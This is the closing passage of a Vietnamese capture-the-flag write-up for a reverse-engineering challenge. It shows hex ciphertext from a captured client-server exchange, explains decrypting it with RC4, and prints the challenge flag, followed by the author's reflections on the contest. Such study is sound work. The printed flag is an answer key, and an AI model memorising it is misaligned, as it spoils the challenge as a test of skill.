message2 = "2426ea99d566456be056254e5538fc6c34a9ebf066ec20dd8684ac74ee76dbd7eff8836d7fa392122536ae4f3204a7dd4b9d273167b34cd012ec35af9c16ee0613d0b7b4069fe8c2cf327362cd951e9050a49d6843f6c24f6203a8ff39d4df010c8c25ba23a2ea683e9b47f56cc663c3241719888447c921187a5e4993349fa1e8c7ee61e7ed7cad302bbbee23b4654ce8c38b72ae529f85eb41bb230d0466757f5f6ecca233929c58da451020e9c19ce9cabf6415971d15c7f69d7a1af89246b70f78288ea82b7eb9fcf57d3de0f5b47d77de62503fa1f322fac49782114a53edfbaa64c48e2aa3388c5126e72871e56535f48edb636889f526d8b2047182926fd2fd05d724f3bb482e439e1247c1b0f12c59011db4fe7c52247d4a96949e52dd7ef8c3b26ac1f4f0bde60b6a53016b918e268cbdea79da8a751b0d1aaee73a35f99dcb48f00c49eb56cc50b06b03bf94b5af4df1cc2b00adb264725599f34b00eac061f76e2822c5e100b1ad77bd3872c340088140dcf3cac5c436b1519543eeae05cec97d5d634472e162b5caf3e185dff406ec6d6565bf0a52d89aacfff59c852ca011110c01c1789455423518d74210cc1313fa687a6c5d8a51f5393d07c3273793403e24c7ea0b3c8ccef7877976f0eeb0d8865ca7a4b24157db71e9161fd344a5ee0b13ec5f758b8ed5f74c3f33fb10623b516a46b421c2453af520dcc202dbe9810eda9b106a64dbc6c4b961852d0391c5dcdeb9b25ccfc9dbd1d768c9de74debf6c102c20d5c3a78cdaedb88a692b4fb446483004a726badf12f2e006d4092aaf416ef16e130087953248122f2885c9aabacd9350ff7c015f12beb1ccf125f61bb51f9d5e5cdf3dd7dab80209d634362981fb2b7431009b4e026b0f7a8322a912d0bc7f93c60e16a4c01f32b0954cba25d2e46b5f69c450666fef699b7dcf9ae582a9ab61cd7cf074b5bc4f61e3bc6bdc4a59fda0c1e00097709ff14decbf9fadafcbec415f8a17b078039fa5cb25de5b78965e40021eea715468b2eedc7fddbeb0c5f034e5a3690aad572414af0cfbcb4e65ef61334440e22f49113dfb780d874f3c31a0c2b7b48947ea709fd75b8c18a23ad0119d518019656b82c2497909c6798afdb3396249bcb0d807b2756b1b783f0807c052b3b0ab93e922e5a079561714d71af4a170372d671be32b8828f0af485f1e34d01c8aa3d7df11b7a723a77c474850f9debb1e5b9ab213c778a69c7b7418497dee3bd22b4d2a8f33013fbad1942f6f486a909a9fcbeafbe3d45aaa1438d5983a14173522ccd0c24d83ac1ea8c1adae7a6b36e01c7d78fc122ada6dc7dd79aab00e1c413141a49db06ae20e1e17a86bb0a1014591c60d0a30d69b85945a43641e7270911d98c11757be34dd241be0d3aa"
message4 = "4f33d6b6db5f482ed66c775f5339d5457d8fb8c745fa79dc87c09f41e476e8ba8abcb07f"
```
- Do RC4 là mã dòng, encryption = decryption nên khi dịch lại `message2` và `message4` với `key` ở trên thì có được:

- Mọi thứ đã xong, chúng ta lụm flag thôi. Để tóm tắt lại, chương trình đã mô phỏng lại một giao tiếp giữa client và server, với server là một terminal (mình cũng không biết gọi là gì nhưng gần giống thế do lệnh `dir` và `type`), luồng giao tiếp được ghi lại trong file pcap, dịch được như sau

> ~~`KCSC{The_Truth_Lies_Beyond_The_Code}`~~
#### Note
- Luồng chuẩn mình đã dự đoán đúng từ khi follow TCP stream của wireshark, tuy nhiên do bước lấy seed 4 bytes lại không chú ý đến cách biểu diễn hex -> seed sai -> key, iv sai -> sai cả bài nên mình làm bài này lâu gấp đôi dự kiến. Tại đây em cũng xin cảm ơn hai tiền bối anh Sơn và anh Bình đã giúp em tìm lại chỗ ngu của mình :skull_and_crossbones:, các anh là ánh sáng đời em.
## III. End
- Trên đây là toàn bộ solution của mình cho 10 challs của TTV2025. Giải đã cho mình một trải nghiệm rất thú vị, bài không quá khó nhưng cũng không dễ, đặc biệt là antidebug được dùng tinh tế hơn và mình patch nhiều hơn cả giải trước. Hope giải sau sẽ còn chất lượng và tuyệt vời hơn nữa, em xin cảm ơn tất cả author :fire:. Hi vọng bài viết này hữu ích với các bạn. Dear!!!